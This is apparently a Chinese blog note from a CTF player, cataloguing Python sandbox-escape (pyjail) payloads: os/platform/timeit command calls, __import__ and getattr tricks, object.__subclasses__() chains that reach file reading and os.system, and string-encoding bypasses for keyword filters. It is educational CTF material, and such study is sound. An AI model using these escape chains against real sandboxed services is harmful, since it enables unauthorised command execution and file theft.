前言

最近遇到了很多python沙盒逃逸的题目(不知道是不是因为现在python搭的站多了……),实际使用时发现只会复制别人的payload是不够用的,于是自己来总结一波(顺带一提python沙盒逃逸的英文似乎是pyjail……)

姿势

os

import os
os.system('dir')
os.popen('dir').read()

platform

import platform
platform.popen('dir').read()
platform.os.system('dir')

timeit

import timeit
timeit.timeit("__import__('os').system('dir')")

__import__

__import__的作用就是导入一个包,和import的功能相同

__import__('os')
__import__('os').system('dir') import os
os.system('dir')

__builtins__

__builtins__指的是python的内置函数(即预定义函数)

dir(__builtins__),可以看到支持很多种函数(如open),所以可以使用

__builtins__.open()

来打开文件,读文件就可以靠file类的read方法了

__builtins__.open('1.txt').read()

__dict__

__dict__,以字典形式储存类的方法和属性

__builtins__.__dict__['__import__']

sys

有些时候会将重要包的路径从sys.modules中移除,这时就要

import sys
sys.modules['os']='/usr/lib/python2.7/os.py'

重新定义一下os的路径

getattr和__getattribute__和__getitem__

如果将方法关键字过滤掉,直接用.来使用方法就不能成功,这时需要使用getattr()函数和__getattribute__方法,或者__getitem__取得字典中的某种方法

getattr(__import__('os'),'system')('dir')
__import__('os').__getattribute__('system')('dir')
__import__('os').__dict__.__getitem__('system')('dir')

reload

有时候会将__builtins__中的一些方法移出这时只要reload一下即可

但Python 3.0把reload内置函数移到了imp标准库模块中

reload(__builtins__)

object类

因为object类存在__subclass__方法,可以获得所有的子类(其中包括file类,所以可以读取文件),获得object类的方式

().__class__.__bases__[0] #__bases__显示上一个继承的类
''.__class__.__mro__[2] #__mro__显示类的继承关系
''.__class__.__bases__[0].__bases__ 读文件:
().__class__.__bases__[0].__subclasses__()[40]("1.txt").read()

globals(),local(),vars()

当前的符号表(其中存在__builtins__)

奇妙的warnings.WarningMessage类

warnings.WarningMessage类在object类的第60个子类,直接放payload吧(自己也没怎么懂……)

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls'))

().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__

绕过过滤

有时候会对关键字进行过滤可以使用不同编码来过滤,但只能在以字典形式调用方法时才能使用

'X19pbXBvcnRfXw=='.decode('base64')  => '__import__'
''.join(['__imp','ort__']) => '__import__'
'__tropmi__'[::-1] => '__import__'
'__imp'+'ort__' => '__import__'
'__buihf9ns__'.replace('hf9','ldi')
dir()[0] => '_'

结语

方法:

  1. 找到文件类
  2. 找到读取文件的方法
  3. 找到os

其他的都是绕过过滤吧……

python沙盒逃逸的更多相关文章

  1. python-Flask模版注入攻击SSTI(python沙盒逃逸)

    一篇以python Flask 模版渲染为例子的SSTI注入教学~ 0x01 Flask使用和渲染 这里简化了flask使用和渲染的教程 只把在安全中我们需要关注的部分写出来 来一段最简单的FLASK ...

  2. SSTI注入绕过(沙盒逃逸原理一样)

    在python沙盒逃逸中绕过道理是一样的. 1.python沙盒中删除了很多模块,但是没有删除reload reload(__builtins__),重新加载被删除的模块,直接命令执行,只用于py2 ...

  3. 再谈CVE-2017-7047 Triple_Fetch和iOS 10.3.2沙盒逃逸

    作者:蒸米 ----------------- 0x00 序 Ian Beer@google发布了CVE-2017-7047Triple_Fetch的exp和writeup[1],chenliang@ ...

  4. Python沙盒环境配置

    一.简介 本文介绍配置python沙盒环境的方法步骤. 二.安装步骤 1.安装pyenv http://www.cnblogs.com/274914765qq/p/4948530.html 2.安装v ...

  5. seccomp沙盒逃逸基础——沙盒的规则编写

    seccomp沙盒逃逸基础--沙盒的规则编写 引入: 安全计算模式 seccomp(Secure Computing Mode)是自 Linux 2.6.10 之后引入到 kernel 的特性.一切都 ...

  6. python - 沙盒环境 - virtualenv - 简明使用录

    1. 不讲安装,没意思 2. 使用 virtualenv ENV # 建立环境,ENV你可以随便定,看起来像是 mkdir ENV cd ENV # 进目录呗 source bin/activate ...

  7. python项目在无外网的生产环境解决沙盒依赖问题

    参考 https://yq.aliyun.com/articles/159599 https://www.jianshu.com/p/08c657bd34f1 缺点是 只能针对python的环境 做沙 ...

  8. python:沙盒(virtualenv)

    当电脑需要使用多个版本的python时,可以使用沙盒:或者使用docker: virtualenv是Python自带的,通过pip安装的 [root@centos7 public]# cd jinji ...

  9. python的沙盒环境--virtualenv

      VirtualEnv用于在一台机器上创建多个独立的python运行环境,VirtualEnvWrapper为前者提供了一些便利的命令行上的封装. 使用 VirtualEnv 的理由: 隔离项目之间 ...

随机推荐

  1. 洛谷 P2345 奶牛集会

    https://www.luogu.org/problem/show?pid=2345 题目描述 约翰的N 头奶牛每年都会参加“哞哞大会”.哞哞大会是奶牛界的盛事.集会上的活动很 多,比如堆干草,跨栅 ...

  2. .NET Core get started on Ubuntu 14.04

    昨天.NET Core 1.0 正式发布了,所以尝尝鲜. 根据官方介绍页面的步骤: 步骤1. sudo sh -c 'echo "deb [arch=amd64] https://apt-m ...

  3. 【CodeForces】679 A. Bear and Prime 100

    [题目]A. Bear and Prime 100 [题意]有一数字x,每次可询问一个数字y是否x的因子,最后输出数字x是否素数,要求询问次数<=20. [题解]容易发现[2,100]范围内的非 ...

  4. 20155117王震宇 实验三 敏捷开发与XP实践 实验报告

    实验内容 XP基础 XP核心实践 相关工具 实验要求 1.没有Linux基础的同学建议先学习<Linux基础入门(新版)><Vim编辑器> 课程 2.完成实验.撰写实验报告,实 ...

  5. 2017ACM暑期多校联合训练 - Team 4 1004 HDU 6070 Dirt Ratio (线段树)

    题目链接 Problem Description In ACM/ICPC contest, the ''Dirt Ratio'' of a team is calculated in the foll ...

  6. JS设计模式——2.初识接口

    什么是接口 接口提供了一种用以说明一个对象应该具有哪些方法的手段. 接口之利 1.接口具有自我描述性从而促进代码的重用 2.接口有助于稳定不同中的类之间的通信方式 3.测试和调试也变得更轻松 接口之弊 ...

  7. 第三讲:ifconfig:最熟悉又陌生的命令行

    你知道怎么查看IP地址吗? 当面试听到这个问题的时候,面试者常常会觉得走错了房间.我面试的是技术岗位啊,怎么问这么简单的问题? 的确,即便没有专业学过计算机的人,只要倒腾过电脑,重装过系统,大多也会知 ...

  8. Neuroph studio 入门教程

    PERCEPTRON Perceptron is a simple two layer neural network with several neurons in input layer, and ...

  9. 新装linux系统最基本设置

    1,dns设置:vi /etc/resolv.conf   添加内容:nameserver 8.8.8.8 2,vi设置: vi ~/.bashrc  添加内容:alias vi='vim': 然后执 ...

  10. 大数据系列之kafka-java实现

    Java源码GitBub地址: https://github.com/fzmeng/kafka-demo 关于kafka安装步骤可见文章   http://www.cnblogs.com/cnmeng ...